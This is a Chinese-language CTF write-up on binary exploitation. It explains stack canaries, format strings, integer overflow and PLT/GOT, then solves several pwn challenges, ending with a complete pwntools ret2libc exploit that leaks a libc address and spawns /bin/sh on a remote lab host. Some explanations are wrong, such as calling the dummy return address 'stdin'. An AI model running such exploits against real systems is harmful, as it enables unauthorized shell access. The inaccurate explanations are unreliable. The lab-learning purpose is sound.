打题前,要明白几个知识;
栈(Stack)是一种常见的数据结构,以后进先出(LIFO,Last-In-First-Out)的原则进行操作。栈具有以下主要特点:
-
存储方式:栈通常使用线性存储结构,可以使用数组或链表实现。数组实现的栈被称为顺序栈,链表实现的栈称为链式栈。
-
栈顶和栈底:栈有两个重要的指针,一个是栈顶指针(top),指向栈顶元素;另一个是栈底指针,指向栈底元素的下一个位置。栈开始时为空,栈顶和栈底指针重合。
-
Push操作:将元素压入栈顶,使得栈顶指针上移一位,并将新元素存储在栈顶位置。
-
Pop操作:将栈顶元素弹出,返回栈顶元素的值,并将栈顶指针下移一位。
-
栈的大小:栈可以有固定的大小限制,这称为固定大小的栈,或者可以动态调整大小的栈,称为动态栈。
什么是libc?:
Libc是指C标准库(C Standard Library),也被称为libc。它是C语言中的标准函数库,提供了各种基础函数和数据类型的定义,以及多个常用功能的实现。
C标准库提供了一系列的函数,涵盖了输入输出、字符串操作、内存管理、数学运算、日期和时间处理、文件操作等功能。这些函数通过头文件(如stdio.h、stdlib.h、string.h等)进行声明,并在链接时与程序进行静态或动态链接。
什么是pop指令:
“pop"指令是一种计算机指令,用于将数据从栈中弹出。栈(stack)是一种常见的数据结构,遵循"先进后出”(Last In, First Out,LIFO)的原则。栈常用于对函数调用、局部变量和中断处理等进行管理。
"pop"指令的具体操作和功能可以因不同的体系结构和指令集而有所差异。以下是一些常见的用途和特点:
-
x86架构(如Intel和AMD处理器)中的"pop"指令:在x86汇编语言中,"pop"指令用于将栈顶的数据弹出并存储到目标操作数中。例如,
pop eax
将栈顶的数据弹出并存储到eax寄存器中。 -
数据保存和恢复:在函数调用时,通常使用"push"指令将参数和返回地址等数据压入栈中。当函数执行完毕后,可以使用"pop"指令将这些数据从栈中弹出,以恢复前一现场的状态。
-
栈指针操作:在栈结构中,使用栈指针(stack pointer)来跟踪栈顶的位置。当使用"pop"指令弹出数据时,栈指针会自动向下移动,指向新的栈顶位置。
-
弹出时的数据顺序:由于栈的"先进后出"原则,"pop"指令弹出的数据顺序与它们被"push"到栈中的顺序相反。也就是说,最后"push"的数据将首先被"pop"出来。
什么是格式化字符串:
字符串格式化漏洞是一种常见的安全漏洞,允许攻击者通过输入恶意格式化字符串来读取敏感数据、执行任意代码或者绕过安全机制。
一些常用的格式化字符串:
什么是canary:
Canary是一种防御措施,用于检测缓冲区溢出漏洞。它是一个随机生成的值,插入在局部变量和返回地址之间。如果有缓冲区溢出发生,canary的值会被修改,从而触发检测机制。
要绕过Canary保护,攻击者需要找到绕过canary检测的方法。这通常就涉及到了利用其他漏洞来绕过canary,比如利用格式化字符串漏洞。
在利用格式化字符串漏洞绕过Canary保护时,攻击者尝试修改canary的值,使其绕过检测。攻击者可以使用格式化字符串的特性,将一个特定的值写入到可以修改canary的位置上,从而绕过检测。
canary常见的位置:
Canary(堆栈保护字)一般放置在栈帧的底部,也就是局部变量和其他数据之前。具体来说,它通常位于 RBP(Base Pointer,基址指针)的上方,用于检测缓冲区溢出攻击。栈帧是用于存储函数调用期间的局部变量、函数参数和其他相关数据的一块内存区域。Canary 的放置位置可以提供一种保护机制,用于检测栈溢出等安全漏洞。
这是一个典型的canary形式,可以看到一个canary占了8字节。
canary是由电脑随机生成的0x8长度的字符
那么具体是如何进行检测的呢很简单
在函数返回之前,也就是输入数据的时候,会将该值取出,并与保存
的canary的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,
函数会正常返回,这个操作即为检测是否发生栈溢出。
如果我们按照正常栈溢出的思路来进行溢出,并修改返回地址的时候,
就会被检测出来。
什么是整数溢出:
整数溢出是一种常见的安全漏洞,它通常发生在计算机程序中使用整数类型来存储数据时。当一个整数的值超过了所能表示的范围时,溢出发生,导致结果不正确,从而可能引发安全漏洞。
整数溢出可能导致以下问题之一:
-
内存破坏:溢出的整数值可能用作数组索引或内存分配的大小,导致缓冲区溢出或堆溢出等内存破坏问题。
-
资源耗尽:溢出的整数值可能用作迭代次数或分配资源的数量,导致资源耗尽,例如无限循环或拒绝服务攻击。
-
权限提升:溢出的整数值可能用作表示权限或授权值的标志,攻击者可以通过溢出来绕过访问控制。
PLT表和GOT表:
在动态链接的程序中,PLT(Procedure Linkage Table)和GOT(Global Offset Table)是用于实现函数调用和全局变量访问的机制。
PLT表包含了函数调用的入口点,当程序第一次调用函数时,它会跳转到PLT表中相应函数的入口点。而GOT表包含了全局变量的地址,在程序访问全局变量时,会通过GOT表来获取正确的地址。
这些表的存在是为了支持动态链接,允许程序在运行时链接外部库,并在需要时解析函数的真实地址。
PWN——WP
NC:
签到题,直接nc
ls
cat flag
Ret2txt:
先查壳:
打开ida分析:
分析主函数,发现是栈溢出。
ok,直接写脚本
Exp:
flag{4ad154a3-aa62-47d6-bf65-df37303ac290}
ret2libc_easy:
先查壳:
也是栈溢出。
但这个是没有\bin\sh这个字符串当指令的。
这时候我们就要用到一个pop指令。以下就是pop指令的一些小知识:
"pop"是计算机指令集中的一种指令,用于从栈中移出(弹出)数据。在栈数据结构中,数据按照后进先出(LIFO)的原则被操作。
当执行"pop"指令时,它会从栈顶取出数据,并将栈顶指针向下移动,指向下一个数据。这意味着最后被压入栈的数据首先被弹出。
"pop"指令在程序执行过程中常用于以下几种情况:
- 从函数调用中恢复返回地址
- 弹出局部变量
- 从栈中获取函数参数等。
获取 执行system指令的地址
\bin\sh字符串的地址;
在虚拟机上用ROPgadget指令来寻找pop指令的地址;
Exp:
flag{2a8eb32c-68ad-4d61-a061-8da7fd743d2b}
整数溢出:
查壳:
放入ida中反编译进行分析:
有符号类型的转化为无符号类型的时候,会出现一些变化,比如:
将 -1(有符号整数)转换为 unsigned int 类型,会得到最大的无符号整数:4294967295。所以将-1传进去的话,可以绕过>10的条件并实现整数溢出,最后进行栈溢出的操作。
Exp:
flag{0f063198-0d01-4e99-8c43-5d853cf97ec9}
格式化字符串+canary绕过:
查壳:
发现有canary保护;
Ida打开分析:
两个重要函数,
这里有栈溢出。因为有canary保护的话,我们就要绕过canary,这样的话我们就要寻找canary在栈中的位置
两者之间相差0x90-0x8=0x88=136
又因为一个指针8个字节(64位可执行文件),所以buf头与canary保护的位置差为136/8=17.
现在的话我们还要找的buf的偏移位。因为题目是讲格式化字符串,就要用到%p,"%p"是一种格式化字符串指示符,用于以十六进制形式打印指针或内存地址。
%p是回显出16进制数据,“A”是41,所以我们在图中就能观察到格式化字符串的第6个位置。所以canary保护的位置是17+6=23.
绕过canary保护后我们要找到system的返回地址。
ok了
现在我们可以来写exp:
flag{368b4169-e103-4301-8073-0d84c8359072}
Ret2libc:
先checksec
32位的,ida分析一下
发现是栈溢出,
read可读的最大长度是0x100,而buf数组的最大长度是0x88。
主函数地址=0x8048484;
但没发现system和/bin/sh;
题目提醒了blic。提醒我们利用动态库的方法和参数。
根据偏移地址和基础地址来求system地址和/bin/sh地址,进而利用栈溢出进行跳转获得getshell。
找基础地址的话,直接上网找:https://libc.blukat.me/
现在write地址和write地址的基础地址找到了,就可以求出偏移地址。
所以
Exp为:
这题比较难,分析一下代码
from pwn import *
context.log_level="debug"
r=remote('125.217.36.12',30697)
导入 pwntools 库并设置日志级别为 debug。创建一个远程连接对象 r
,连接目标主机的 IP 地址为 125.217.36.12
,端口为 30697
。
elf=ELF('/home/back/xiaoxueqi/ret2libc')
write_pit=elf.plt["write"]
write_got=elf.got["write"]
main_addr=0x08048484
使用 ELF
函数加载一个 ELF 可执行文件 ret2libc
,获取 write
函数在 PLT 表中的地址,并获取 write
函数在 GOT 表中的地址。还获取了 main
函数的地址。
payload=b'a'*(0x88+0x4)+p32(write_pit)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
-
payload
是一个字节串变量,用于保存要发送到目标程序的数据。 -
'a'*(0x88+0x04)
表示将字符'a'
重复0x88+0x04
次,构造了一段填充字符,长度为0x88+0x04
个字节。 -
p32(write_plt)
将write_plt
变量的值打包为一个 32 位字节串,并将其追加到payload
中。这个操作是为了覆盖返回地址,将控制流转到write
函数。 -
p32(main_addr)
将main_addr
变量的值打包为一个 32 位字节串,并将其追加到payload
中。这个操作是为了覆盖write
函数返回后的返回地址,将其设置为main
函数的地址,以实现程序的继续执行。 -
p32(1)
将整数1
打包为一个 32 位字节串,并将其追加到payload
中。这个操作是为了指定文件描述符为1
,即stdout
,使得write
函数将数据写入标准输出。 -
p32(write_got)
将write_got
变量的值打包为一个 32 位字节串,并将其追加到payload
中。这个操作是为了指定write
函数在 GOT 表中的地址,以便获取write
函数的真实地址。 -
p32(4)
将整数4
打包为一个 32 位字节串,并将其追加到payload
中。这个操作是为了指定要从write
函数读取的字节数。
r.sendlineafter("Input:\n",payload)
write_addr=u32(r.recv()[:4])
发送 payload 给远程连接对象 r
,并接收返回的数据。将接收到的前 4 个字节解析为一个无符号整数,保存到 write_addr
变量中。
base_write=0x0d44d0
base_binsh=0x15912b
base_system=0x03a950
rela_addr=write_addr-base_write
system_addr=base_system+rela_addr
binsh_addr=base_binsh+rela_addr
计算 write
函数在 libc 中的地址与基址之间的偏移量。然后计算 system
函数地址和 "/bin/sh"
字符串地址,通过将偏移量加到基址上获取这两个地址。
payload=b'a'*(0x88+0x4)+p32(system_addr)+p32(0)+p32(binsh_addr)
r.sendlineafter("Input:\n",payload)
r.interactive()
构造新的 payload,其中包括 0x88+0x4 个 ‘a’ 字节,用于填充溢出空间。然后按照函数调用约定,依次压入参数和函数地址:system
函数地址、文件描述符 0
(stdin)、"/bin/sh"
字符串地址。发送 payload 给远程连接对象 r
,然后进入交互模式
flag{ef08de12-b23e-494f-9791-4cc050aedb69}